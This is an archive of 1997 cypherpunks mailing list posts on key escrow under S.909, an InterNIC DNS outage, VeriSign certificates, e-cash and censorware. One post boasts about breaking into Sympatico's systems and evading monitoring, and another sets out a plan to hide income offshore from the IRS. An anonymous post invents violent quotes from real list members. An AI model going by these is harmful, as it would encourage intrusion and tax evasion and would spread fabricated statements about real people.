possibility of getting incriminating evidence against the invasion of
privacy of innocent parties.  If the keys of innocent parties are being
seized as well, it may affect the judge's balancing.

(4) In S.909, all of the requirements on law enforcement officials
can be lifted by executive order.

Am I wrong, or are all the news accounts wrong?  Please let me know
if there is any flaw in my analysis.

Roger Schlafly
rschlafly@attmail.com
(Please CC me on any followup, as I only occasionally read this list.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Fri, 18 Jul 1997 12:57:51 +0800
To: cypherpunks@ssz.com
Subject: index.html
Message-ID: <199707180441.XAA02483@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



    CNN logo 
   Navigation 
   
   Infoseek/Big Yellow 
   
   
   Pathfinder/Warner Bros 
   
   
   
   
   Tech banner Click here to play IBM's virtual tennis @
   www.wimbledon.org 
   
     rule
     
                 DATABASE PROBLEM SLOWS SOME INTERNET TRAFFIC
                                       
     July 17, 1997
     Web posted at: 9:53 p.m. EDT (0153 GMT)
     
     (AP) -- A problem with the database that keeps track of all Internet
     addresses slowed network traffic for several hours Thursday morning,
     effectively blinking some Web sites out of existence.
     
     The problem appeared to be resolved by midafternoon.
     
     During the trouble, computers couldn't always find someaddresses
     ending in .net and .com, sometimes e-mail didn't go through and
     attempts to look up some Web sites came up empty.
     
     A user seeking an address ending in .com, for example, wouldhave
     received an error message that read "Could not resolve DNS," said
     Aggie Nteta, a spokeswoman for Network Solutions Inc., which runs
     the main registry of Internet addresses, called InterNIC, under an
     arrangement with the U.S. government.
     
     Every morning at 2:45 a.m. EDT, the files listing all Internet
     addresses for North America are updated and sent out through the
     network. On Wednesday morning, two of those files somehow became
     corrupted, setting off error alarms.
     
     However, the system administrator on duty chose to release the files
     anyway, creating a situation in which many Web sites effectively
     blinked out of existence, at least in the eyes of browsers.
     
     "The big effect was that our site became invisible," saidChris
     Caldwell, chief engineer at NDA, a Web site design company in
     Woburn, Massachusetts.
     
  Problems with addresses
  
     
     
     The files were corrected and re-released about four hours later,
     although it may have taken several more hours for the corrected
     information to spread throughout the network, Nteta said.
     
     The problem is the latest in a series of addressing glitchesover the
     past few days. Last weekend AlterNIC, an InterNIC rival, briefly
     took over InterNiC's address on the Web. AlterNIC described this on
     its Web site as a form of protest over InterNIC's current monopoly
     on distribution of Internet addresses.
     
     InterNIC has also encountered numerous problems with badinformation
     on its database. Some businesses have been double billed, while
     others have had their Web sites dropped from the address lists by
     mistake.
     
     Dave Crocker, a computer consultant and founder of theInternet Mail
     Consortium, said it was a problem of qualityassurance.
     
     "The fact that they are growing quickly is not an excuse forthis.
     The rate of errors they are having would not be tolerable for any
     other professional organization doing a technical task," he said.
     
     Copyright 1997 Associated Press. All rights reserved. This material
     may not be published, broadcast, rewritten, or redistributed.  rule
     
  Related site:
  
     Note: Page will open in a new browser window
     * Welcome to the InterNIC
       
     
     
     External sites are not endorsed by CNN Interactive.  Search for
     related CNN stories:
     ________________________________________   ______ [Help]
     Tip: You can restrict your search to the title of a document.
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 18 Jul 1997 15:26:01 +0800
To: cypherpunks@toad.com
Subject: Re: A.Jensen doesn't like Sympatico.ca
In-Reply-To: <Pine.LNX.3.96.970717164301.8372E-100000@fractal.mta.ca>
Message-ID: <33CF16FC.52C5@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



Michael C Taylor wrote:
> On Thu, 17 Jul 1997, Dr.Dimitri Vulis KOTM wrote:
> 
> > They hate Toto's ISP:

  So does Toto.

> Funny thing is that Sympatico.ca is NOT some fly-by-night ISP, but one of
> the larger ISPs and has the deepest pockets.
> Each province buys the basic 'francise' from MediaLink (??) in Upper
> Canada, and resells it and packages it how they want.
 
> The problem is with spam is not they do more of it, they are most
> likely underqualified to fix the problem of non-Sympatico users using the
> various Sympatico SMTP servers as a relay.

  Sympatico is a hacker's dream. Not only are you able to access their
systems all across Canada once you get an inside track into one of them
but most of the provincial admins seem to have little idea of what the
concept of security entails. As long as you remain low-key you can
set up your own little cyberkingdom across the country.
 {If you hack Toto's website you will find a file in the home directory
which explains how to hack Sympatico's mail system. In return Toto asks
that you use unlimited accounts instead of those like his, which cost
the user on a time-of-use basis.}

  Passive-aggressive hacker fans of "The True Story of the InterNet"
sometimes use Toto's account in ways that are meant to cause trouble
for him but he has not received even a whisper from Sympatico admin
despite loud and voriciferous protests from the victims of the hackers'
shenanigans.
  There was an annual MC hacker's contest going on for the last month
on the Sympatico system and none of the Webmasters seemed to notice
even though all the provincial systems were compromised from top to
bottom. When the Evil-1 set up shop on the Sympatico system he had
to go through it and _improve_ the security in order to keep the
neophyte hackers out of his hair.

  The Saskatchewan Sympatico system is the easiest to use for general
purpose mischief. The British Columbia system is best for hiding large
volumes of use and CPU time. The Ontario system is the most fun to
lurk in because all of the Sympatico employees are perverts of one
kind or another and their private email puts the sex sites to shame.
{It's best not to mess with the government accounts until you've
figured out where the Mountie and CIS spooks are lurking but their
monitoring methods are real blatant and easy to route around by using
blind telnet, deleted mail mirroring, etc.}

  Sympatico's motto is "Internet Service For Everyone."
  I doubt that they realize how true it is.

Toto #6UALDV8





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Fri, 18 Jul 1997 16:39:43 +0800
To: cypherpunks@toad.com
Subject: Re: court order required for keys?
Message-ID: <199707180824.CAA17083@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



Roger Schlafly wrote: 
> Posted online news accounts of the McCain-Kerrey bill have implied
> that the a court order is required under the bill to get keys. 
>     [AP, 07/09/1997]
>     As with wiretaps, authorities would have to obtain court orders to make
>     the keys available for law enforcement.     ^^^^^^^^^^^^^^^^^^^
>     [Wired, 11.Jul.97]
>     Law enforcement could then access that copy of your key
>     through a court order.
>     ^^^^^^^^^^^^^^^^^^^^^
> 
> I find this distressing, because I have read the bill, and a court order
> is most emphatically NOT required.  Only a form specified by J. Reno.

  Most people don't realize that many of the so-called protections that
are in place to guard our constitutional rights and our privacy only 
apply to _use_ of the material in an _official_ proceeding, such as a
trial or hearing.
  Government, private agencies and corporations daily exchange all
manner
of supposedly private information, often using court orders only to
_officially_ get portions of what they already had. It is no accident
that LEA's often get court orders asking only for access to certain
incriminating information (since they've already done the "fishing").

This is a tricky point in the bill, but notice that:
> (1) Court orders are not required for wiretaps in the US.  While it may
> be true that court orders are used most of the time when wiretap evidence
> is used in a criminal trial, there are a number of exceptions.

  Also, many of the wiretaps have already been in place when the
court orders are applied for. "Redating" of wiretap records is a
common and sophisticated part of LEA practice. NSA has a database
that is used to cull out wiretap references which are out of sync
with the purported time-stamp on records. It lists all worldwide
social and religious time-sequence indentifiers such as Easter, 
Hannuka, the running of the bulls, sports contests and playoffs,
etc. 

> (2) There is no restriction in the bill to getting keys to decipher
> communications covered by the wiretap 
>  Under S.909,
> if the cops can get access to the data, then they can get the keys
> without any court order.

  Which they no doubt will do and apply for the court order after they
have found what they want. This will be even more effective than their
voice-wiretap methods have been because their will be no need to redate
the information they claim as being found after getting the court order
since files, unlike voices, linger.

> (4) In S.909, all of the requirements on law enforcement officials
> can be lifted by executive order.

  Which means it can be done _retroactively_ with a nod, a wink, and
a few simple strokes of a pen.

  S.909 quite simply butt-fucks the Constitution and the citizenry.
The shameless criminals on Capitol Hill of Manure no longer even
seriously pretend to be in the least concerned with Constitutional
issues. They think (and may be right) that they only have to chant
the "National Security" mantra a couple of times to absolve all of
their sins against the Constitution.

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 18 Jul 1997 09:03:48 +0800
To: cypherpunks@toad.com
Subject: Re: <sigh>
Message-ID: <199707180051.CAA13954@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



William H. Geiger III wrote:
> If you have sent any message to me between 00:00-13:00 GMT-0400 today
> please resend the message.
> Also could someone from the mailing list send me copies of the messages
> that I have missed.

  Happy to oblige.
------------------
Date: Thu, 17 Jul 1997 01:21:41 -0700
To: cypherpunks@Algebra.COM
From: Tim May <tcmay@got.net>
Subject: Geiger's email

  Has anyone knocked out Geiger's email yet?

--Tim May
------------------
Date: Thu, 17 Jul 1997 0:15:24 +0200 (MET DST)
From: Zooko Journeyman <zooko@xs4all.nl>
Message-Id: <199707171415.QAA06056@xs2.xs4all.nl>
To: cypherpunks@toad.com, neumann@csl.sri.com
Subject: Re: Geiger's email

  Yeah, Lucky Green took care of it.
  We should have a few hours to discuss what we're going to do
to that piece of shit, WG III.

Zooko...Zooko...Zooko
-------------------
Date: Thu, 17 Jul 1997 00:51:46 -0700
From: geeman@best.com
To: cypherpunks@toad.com
Subject: Re: Gieger's email

  I've got the bodies of the children on ice. Steve Schear has the 
superglue and Dimitri has the nails. Peter Neumann just placed an
anonymous call to the FBI, so we're ready to fix that rat bastard.
  Let's take this discussion off-line in case WG III manages to
get his email back on-line.

Gee, Man!
-------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: amp@pobox.com
Date: Sat, 19 Jul 1997 12:15:30 +0800
To: tomw@netscape.com>
Subject: Re: Verisign gets export approval
In-Reply-To: <Pine.3.89.9707171711.A10551-0100000@netcom2>
Message-ID: <Chameleon.869213374.amp@rcnu3077>
MIME-Version: 1.0
Content-Type: text/plain



=snip=

> > I also would like to mention the reader that yesterday's release of
> > MSIE 4.0b2 *does* have the ability to check CRL's.
> 
> Yes, we will add this feature in some future release.  It will be
> configurable, so if the user doesn't want to check CRLs he doesn't
> have to.

An excellent way of implementing it. 

 
> Aren't all certs VeriSign issues only valid for one year?  This isn't
> any different.
> 
> There's nothing preventing another CA from getting permission from the
> USG to issue these magic certs.  We would have to distribute a patch,
> but I don't see any problem with that.

uh, why does one need permission of the usg to issue "magic certs"?


------------------------
Name: amp
E-mail: amp@pobox.com
Date: 07/18/97
Time: 04:06:36
Visit me at http://www.pobox.com/~amp

'Drug Trafficking Offense' is the root passphrase to the Constitution.

Have you seen 
http://www.public-action.com/SkyWriter/WacoMuseum
------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Lackey <rdl@mit.edu>
Date: Fri, 18 Jul 1997 16:38:02 +0800
To: cypherpunks@Algebra.COM
Subject: Re: "Time to Walk the Walk down the Gang Plank"
In-Reply-To: <199707180421.XAA09823@mailhub.amaranth.com>
Message-ID: <199707180833.EAA00990@the-great-machine.mit.edu>
MIME-Version: 1.0
Content-Type: text



[regarding TC May's comment that it still wasn't practical to live off
of exclusively offshore investment income tax-free, and that advocates
of offshore banking did not even claim it was, but that it might be in
10 years.]

What exactly makes it impractical to live off of the investment income
from off-shore investments exclusively?  I'm kind of broke right now, but
I was assuming that the combination of a set of offshore accounts
and an offshore visa card used to pay for practically everything, as
well as perhaps smuggled in cash and gold/etc. which could be sold outside
of reported channels would be enough to allow you to pay untracededly
for almost everything.  Then, if you did not have a primary residence
in the United States, but rather spent life living in a college dorm
(which is unlikely to flag anything at the IRS, being part of a bill which
is routinely paid by third parties, often from outside of the US), on a
boat registered outside of the US, or visiting places around the country
and world, plus had some plausible way of hiding this extra income of
yours, you could get by reporting only an abusrdly low amount of income
from a part time job or something, and no one would be the wiser.

Then, as your income/assets grew, you could continue to dump money from
off-the-record sources into an offshore account, continue to use the
offshore account for real and untraced purchases, and continue to draw
your small salary to show that you are paying taxes and are just poor.
Then, graduate from university and live the rest of your life vacationing
around the world, or skip the first step if you're smart. (From what I
know of IRS auditing procedures, they'd be remarkably more apt to find
out if someone with a real income's income suddenly fell to $4k/year and
stayed there from $100k+/year with no explanation given than if mine went
from -$30k a year to -$26k/year, so starting when you're broke might be
a decent plan.)

Are there any major obvious holes in this plan?  Now all I need is to
do some useful, crypto-anarchist work and be
paid under the table, perhaps taking a month or two vacation to 
Antigua or someplace in the process.

---
Ryan Lackey
rdl@MIT.EDU
http://mit.edu/rdl/www/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Fri, 18 Jul 1997 06:54:21 +0800
Subject: Re: The Big Sellout
In-Reply-To: <eNPZ0D6w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.93.970718043634.105A-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 17 Jul 1997, Dr.Dimitri Vulis KOTM wrote:

> I think a better approach would be to rate all of one's pages as being very
> nasty, and post a disclaimer that those who rely on 'ratings' shouldn't be
> allowed to see it, irrespective of contents.

Hell it would probly get you more hits from the drool and click crowd.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Lackey <rdl@mit.edu>
Date: Fri, 18 Jul 1997 18:31:18 +0800
To: cypherpunks@Algebra.COM
Subject: mondex
Message-ID: <199707181026.GAA01342@the-great-machine.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain



So, it appears (at least to me and many others) that Mondex is the most 
likely to succeed of all the serious electronic cash systems currently
publically announced.  I think I like some parts of their architecture,
but to a great extent they seem to be completely at odds with the
"free money" goals I have for electronic cash -- they're totally owned
by the banking industry, willing to give up a great deal of privacy and
anonymity in the name of preventing money laundering, and they appear
committed to supporting only current national currencies, rather than
allowing corporate scrip from either existing large companies (I trust
at&t more than most governments) or organizations which buy a bunch of
gold, charge minimal overhead, and issue currency totally backed by
their assets.  I'd be somewhat annoyed if the big electronic cash system
only moved current statist cash into the electronic realm.

Does anyone know how open the Mondex architecture is?  Is it in any way
possible to set up a competing system with your own card manufacture
and issuing bodies for currencies which can be used in deployed Mondex
POS terminals without too much hassle?  Would this be analagous to the
problem of replacing InterNIC with other NICs -- you need to make the
user servers know to look at the rival systems and understand their 
keys?

It would be kind of impressive in a way if Mondex were lame about 
allowing other currencies to proliferate free of state influences, yet
managed to get the basic technology employed around the world, then some
cypherpunkish group came up with their own cards, a little bit of
software, etc. and then issued currency with more behind it than Mondex
franchisees, had higher profits than Mondex, and then were to be the
only currencies anyone would trust after the collapse of a few state-backed
currencies.  Also, I'd trust the cypherpunkish crowd to do a better job
of hardware and software design for the cards and system, so they're
likely to be more secure in that fashion as well.

Am I being utterly out of touch with reality, or only tangential to it?

---
Ryan Lackey
rdl@mit.edu
http://mit.edu/rdl/www/









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 18 Jul 1997 22:00:32 +0800
To: cypherpunks@toad.com
Subject: Re: Censorware Summit Take II, from The Netly News
In-Reply-To: <Pine.LNX.3.93.970718133319.604A-100000@shirley>
Message-ID: <VeF20D4w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au> writes:

> On Thu, 17 Jul 1997, William H. Geiger III wrote:
>
> > Well 90% of the "features" of these browsers are complete crap. I have yet
> > to see a web site that did anything constructive with frames and animated
> > gifs are compleetly worthless.
>
> I aggry however there are now meany sites that are now only have frame
> based interfaces.  When useing when useing lynx I have to decode the
> frames manuly.

I have the first the third editions of Ian raham's excellent
_HTML Sourcebook. The first edition has screen shots from dozens of
browsers. Where did they all go? :-)

> > I was thinking more allong the lines of providing a strong, secure GNU
> > browser for doing transactions over the net
>
> So basicly a non-nonsence bussness web-broser.  It would have to be
> devloped outside the cyber certion though.

Non-crypt stuff like frames and animated gifs could be added here.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Stutz <stutz@dsl.org>
Date: Fri, 18 Jul 1997 20:51:02 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: Censorware Summit Take II, from The Netly News
In-Reply-To: <199707180148.UAA07682@mailhub.amaranth.com>
Message-ID: <Pine.LNX.3.94.970718083053.23746C-100000@seka.nacs.net>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 17 Jul 1997, William H. Geiger III wrote:

> I think that several of us need to get together with the authors of Lynx
> and produce a GNU secure webbrowser and take on these SOB's.
> 
> I don't think that it would be all that much work to mimick NetScapes
> plugin interface so the same plugins will work with the GNU browser.

While they are still in early stages, Project Mnemonic is a team of
programmers working on an open, modular GNU browser that will have the kind
of functionality that you describe (and eventually be able to run in various
modes, such as text only, svgalib, X, etc). They need C++ programmers to
help, so spread the word. The story is at
<http://www.wired.com/news/news/technology/story/3907.html>.


m

<http://dsl.org/m/>  Copyright (c) 1997 Michael Stutz; this information is
email stutz@dsl.org  free and may be reproduced under GNU GPL, and as long
                     as this sentence remains; it comes with absolutely NO
		     WARRANTY; for details see <http://dsl.org/copyleft/>.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 18 Jul 1997 21:51:05 +0800
To: Duncan Frissell <frissell@panix.com>
Subject: Re: Microsoft will NOT ship browser with RSACi on by default
In-Reply-To: <3.0.2.32.19970718085427.0364b774@panix.com>
Message-ID: <199707181339.IAA14853@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.2.32.19970718085427.0364b774@panix.com>, on 07/18/97 
   at 08:54 AM, Duncan Frissell <frissell@panix.com> said:

>-----BEGIN PGP SIGNED MESSAGE-----

>At 10:52 AM 7/17/97 +1000, ? the Platypus {aka David Formosa} wrote:

>>When microsoft has more power and money then most goverments I begin to 
>>see no real difference between president Bill gates and any other
>>totalrion dictator.

>But how many divisions does Mr. Bill have?

Considering the current administration's greed I would imagine that Mr.
Bill could have the Marines land anywhere in the world on 72hr notice for
a couple of Million $$$.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Fri, 18 Jul 1997 23:58:40 +0800
To: Tom Weinstein <tomw@netscape.com>
Subject: Re: Verisign gets export approval
In-Reply-To: <Pine.3.89.9707171711.A10551-0100000@netcom2>
Message-ID: <v03102812aff53e85cc07@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



> On Thu, 17 Jul 1997, Tom Weinstein wrote:
>>Lucky Green wrote:
>> Even if Communicator would never check CRL's, not even in the future,
>> the mere fact that the Global ID cert have only a one year lifetime
>> means anyone relying on Global ID can be held hostage by threatening
>> to refuse to renew their cert. The reader may not be aware that unlike
>> other certs, the Global ID certs are *only* issued by VeriSign. You
>> can not go to a non-US CA and obtain such a cert. [Which of course
>> would defy the whole purpose of this rather slick deal :-]
>
>Aren't all certs VeriSign issues only valid for one year?  This isn't
>any different.
>
>There's nothing preventing another CA from getting permission from the
>USG to issue these magic certs.  We would have to distribute a patch,
>but I don't see any problem with that.

There's probably no technical reason these patches must originate with
Netscape.  Seems like a healthy cottage industry could spring up to supply
patch software to offshore companies which want magic certs w/o USG
approval.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 18 Jul 1997 23:58:42 +0800
To: Ryan Lackey <cypherpunks@Algebra.COM
Subject: Re: "Time to Walk the Walk down the Gang Plank"
In-Reply-To: <199707180421.XAA09823@mailhub.amaranth.com>
Message-ID: <v03102805aff5380a7024@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:33 AM -0700 7/18/97, Ryan Lackey wrote:
>[regarding TC May's comment that it still wasn't practical to live off
>of exclusively offshore investment income tax-free, and that advocates
>of offshore banking did not even claim it was, but that it might be in
>10 years.]

I'll answer a few of Ryan's questions, but not in much detail. First,
because this is not a list oriented toward offshore investments and tax
avoidance strategies (though crypto anarchy touches on these issues).
Second, because opinions are especially cheap in this area. Third, because
advice/guidance depends critically on many factors, especially the amount
of money one has.

>What exactly makes it impractical to live off of the investment income
>from off-shore investments exclusively?  I'm kind of broke right now, but
>I was assuming that the combination of a set of offshore accounts
>and an offshore visa card used to pay for practically everything, as
>well as perhaps smuggled in cash and gold/etc. which could be sold outside
>of reported channels would be enough to allow you to pay untracededly
>for almost everything.  Then, if you did not have a primary residence

Well, first off, there's a huge difference between living at a "kind of
broke now" level and living at higher levels....those who are "kind of
broke" often pay minimal taxes anyway, so having their minimal assets, if
any, in a bank near the youth hostel in Amsterdam is hardly a comparison to
having, say, much larger amounts in offshore banks.

Getting the assets out is often a sticking point. Recall the oft-discussed
requirement for reporting offshore assets. And various bank and brokerage
requirements for reporting transfers. Attempts to evade these limits are
often successful...but sometimes not.

(A college friend of mine is married to an Assistant DA for the Brooklyn,
N.Y. area...one of her cases some years back involved prosecuting a guy who
was taking cash out of the country, sewed into the lining of his coat.)

Contrary to what is sometimes claimed here, it is not a matter of just
"wiring" one's assets out to a foreign site, and then being homefree.

By the way, the United States taxes foreign income for all U.S. citizens
for up to 10 years after their departure from U.S. soil. Doesn't mean they
can get this tax, but they will try. And those who don't play ball face
"failure to file" charges, etc. As computerization increases, border checks
will increase.

There have been several proposals, none yet enacted (fortunately), to
impose an "exit tax" on assets. That is, if one tries to transfer money out
a tax would be imposed. This even before the assets are sold, or income
realized. Similarities with the exit taxes of other repressive regimes are
obvious.


>in the United States, but rather spent life living in a college dorm
>(which is unlikely to flag anything at the IRS, being part of a bill which
>is routinely paid by third parties, often from outside of the US), on a
>boat registered outside of the US, or visiting places around the country
>and world, plus had some plausible way of hiding this extra income of
>yours, you could get by reporting only an abusrdly low amount of income
>from a part time job or something, and no one would be the wiser.

Sure, there are many possible scenarios. The "perpetual tourist" one is an
example. Again, the issue, espeically for folks like me, is gettign the
assets outside the view of the IRS in the first place. FinCEN is pretty
quick to spot transfers.

(All of you should be well familiar with "FinCEN," the Financial Crimes
Enforcement Network, a secretive task force made up of members of NSA, FBI,
IRS, CIA, Treasury, Commerce, etc. I first started hearing about it in
1990, and "Wired" did a big expose of it in one of its early issues. Web
searches will turn up various articles.)

Note also that stocks and bonds, "securities," are essentially no longer
available as "bearer instruments." That is, they are generally tied to some
identity, either as an account entry at the issuer, or similar. Thus, the
"stock certificate" I so cleverly hide amongst my papers when I board the
flight to Austria is *not* the actual asset! The banks and transfer agents
still have the asset (which is just a book entry somewhere), and my
certificate in Foobar, Inc. is just a piece of paper: it's location in my
safe deposit box or in Austria remains "secret"--until I sell some of it.
Then, magically, the appropriate notifications are mailed to the IRS. This
is basic stuff, but it's often forgotten by people.

I'm not saying there aren't ways to get assets out of the U.S. while still
allowing folks to travel and live in the U.S. But they carry risks, and are
getting harder to pull off. (If crypto anarchy, geodesic economies, digital
money, digital bearer instruments, etc. come to pass, things may be easier.
But we are quite a ways away on this.)


>Then, as your income/assets grew, you could continue to dump money from
>off-the-record sources into an offshore account, continue to use the
>offshore account for real and untraced purchases, and continue to draw
>your small salary to show that you are paying taxes and are just poor.
>Then, graduate from university and live the rest of your life vacationing
>around the world, or skip the first step if you're smart. (From what I
>know of IRS auditing procedures, they'd be remarkably more apt to find
>out if someone with a real income's income suddenly fell to $4k/year and
>stayed there from $100k+/year with no explanation given than if mine went
>from -$30k a year to -$26k/year, so starting when you're broke might be
>a decent plan.)

Starting to hide assets when one is poor is obviously an approach. However,
most of us didn't think this way when we were poor. Then we got "not poor."
With the assets very visible--houses, stock, bank accounts, etc.

Bear in mind that administering one's offshore bank accounts still requires
some communication. Trips to Europe or the Carribbean are certainly
possible. Much more could be written on this, but I'll pass.

>
>Are there any major obvious holes in this plan?  Now all I need is to
>do some useful, crypto-anarchist work and be
>paid under the table, perhaps taking a month or two vacation to
>Antigua or someplace in the process.
>

Good plan. Maybe you'll be near Jim Bell.

There are lots of black market fortunes being made everyday...I'd be
disingenuous to say otherwise. But some risks.

In any case, beware the currency reporting and transport laws. Declarations
of currency, as noted above.

A last note. Making money is more important than avoiding taxes on a much
smaller amount of money. I _hate_ paying the taxes I have to pay, but
having money is more important than avoiding taxes.

I for one have chosen to remain in California, for all of its political
faults. (But California is correcting many of these faults, such as its
elimination of "affirmative action" in the UC system, and so on. Many call
this a "right wing backlash," but I call it a breath of fresh air.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Fri, 18 Jul 1997 21:40:11 +0800
To: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Subject: Re: Microsoft will NOT ship browser with RSACi on by default
In-Reply-To: <Pine.GSO.3.95.970716212852.24530B-100000@well.com>
Message-ID: <3.0.2.32.19970718085427.0364b774@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 10:52 AM 7/17/97 +1000, ? the Platypus {aka David Formosa} wrote:

>When microsoft has more power and money then most goverments I begin to 
>see no real difference between president Bill gates and any other
>totalrion dictator.

But how many divisions does Mr. Bill have?

DCF
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 19 Jul 1997 00:37:42 +0800
To: cypherpunks@toad.com
Subject: Brookings Inst. on crypto: "There are reasonable compromises"
Message-ID: <Pine.GSO.3.95.970718092025.13136L-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Fri, 18 Jul 1997 09:17:52 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: Brookings Inst. on crypto: "There are reasonable compromises"

Morton's Steakhouse is a true Washington institution. Nestled
in the heart of lawyer country, between K and L streets, the
clientele are well-heeled lobbyists hungry for red meat. Which
is all you'll find at Morton's, where the menu lists a fine
selection of slabs, all thick, bloody, expensive.

I had lunch at Morton's yesterday with a colleague, a fellow
from the NSA, and a gentleman from the armed forces. We
talked Net-regulation, censorship, and hacking. Most of all
we talked encryption, and crypto-compromises. This is a theme
you'll see repeated in this recent policy paper from the
liberal Brookings Institution:

	There are reasonable compromises. A useful place to start
	is a national cryptography policy... rigorous oversight
	and accountability for government access to the keys
	needed to intercept and read coded data, negotiation of
	an agreement with our close allies on a global encryption
	standard, and formation of a government/private sector
	oversight body... the basic elements of a reasonable
	compromise are now in sight and may yet be achieved...

	Current initiatives that would allow export of any
	technological solution, of unlimited strength, subject
	only to the proviso that an acceptable key recovery
	system be maintained with a suitably defined and trusted
	party (including self-escrow), are headed in the right
	direction...

-Declan

------------------

no. 21
Deciphering the Cryptography Debate

July 1997
By Kenneth Flamm

FOR THE PAST FIVE YEARS, the U.S. government and
America's information industries-producers and users
of computers, communications systems, software,
information services-have been locked in a bitter and
highly technical battle over cryptography policy: the
rules of the game for techniques used to scramble and
unscramble data. Such encryption and decryption is
vital in maintaining the confidentiality of
information (whether business information, financial
transactions, personal medical records, or government
secrets) passing through the exploding web of computer
and communications links joining this nation together.
The hard fought and often arcane debate has come to an
inconclusive and unsatisfactory draw that does little
to deal effectively with any of the conflicting
objectives-civil liberties, economic competitiveness,
law enforcement, and national security-brought to the
bargaining table.

This does not have to be. There are reasonable
compromises. A useful place to start is a national
cryptography policy built around four key
elements-strong cryptography put into wide use, a
strengthened legal framework and electronic logging
system that provides rigorous oversight and
accountability for government access to the keys
needed to intercept and read coded data, negotiation
of an agreement with our close allies on a global
encryption standard, and formation of a
government/private sector oversight body to review
both the overall security of our national information
infrastructure and the voluntary testing and
certification of encryption and security products.



Why Is Cryptography Important?


UNTIL THE MIDDLE OF THIS CENTURY, codemaking and
codebreaking were primarily the concern of governments
protecting diplomatic and military communications.
World War II was a turning point for cryptography. The
first primitive electronic computers were built by the
United States and Britain during that war and used to
break German and Japanese codes. Using technology and
methods that remained closely guarded military secrets
until the late 1970s, the Allies succeeded in building
electronic machines to break the supposedly
unbreakable codes used to encrypt virtually all Axis
radio messages. This allowed the Allies, for example,
to read signals sent by German submarines as they
reported their locations, send forces to destroy them,
and win the vitally important battle for the North
Atlantic shipping lanes.

After the war, U.S. codebreakers continued to play a
central role in the development of the fastest
possible computers of the day, so-called
supercomputers. In the late 1960s, others in the
military funded research into damage-resistant digital
communications networks that gave us the first working
prototype of today's Internet.

As computers and network use also took hold within
business in the 1960s and 1970s, cryptography (mainly
the domain of government in earlier decades)
increasingly began to protect sensitive business
information stored in private sector computers. With
outside computer links through communications networks
growing, the dangers of unauthorized penetration into
sensitive computer databases through these external
ties also multiplied. The financial sector led these
technological changes. As global financial markets,
national banking systems, and local automated teller
machines all went electronic, cryptographic systems
were installed to protect sensitive data coursing
through the digital arteries of finance.

Today, we are teetering at the precipice of an even
wider transformation of the basic infrastructure for
commerce. Telecommunications services, retailing, and
the electric power grid are already organized around
